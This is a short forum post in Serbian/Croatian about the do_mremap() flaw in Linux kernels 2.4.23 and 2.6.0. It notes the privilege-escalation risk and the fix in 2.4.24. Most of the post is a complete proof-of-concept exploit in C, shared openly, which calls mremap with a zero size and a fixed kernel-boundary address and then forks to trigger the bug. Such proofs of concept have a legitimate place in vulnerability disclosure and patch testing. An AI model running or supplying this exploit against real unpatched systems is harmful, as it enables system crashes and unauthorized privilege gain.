do_mremap() vulnerability in Linux kernel

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Ovo moze dovesti do povecanja privilegija u 2.4.23 i 2.6.0 kernelima

Odmah je izasla 2.4.24 verzija kernela koja ispravlja ovaj problem.

Vise informacija ovde:
[Link mogu videti samo ulogovani korisnici]

A evo ga i proof of concept exploit...



/*
* Proof-of-concept exploit code for do_mremap()
*
* Copyright (C) 2004 Christophe Devine and Julien Tinnes
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );

int main( void )
{
void *base;

base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );

fork();

return( 0 );
}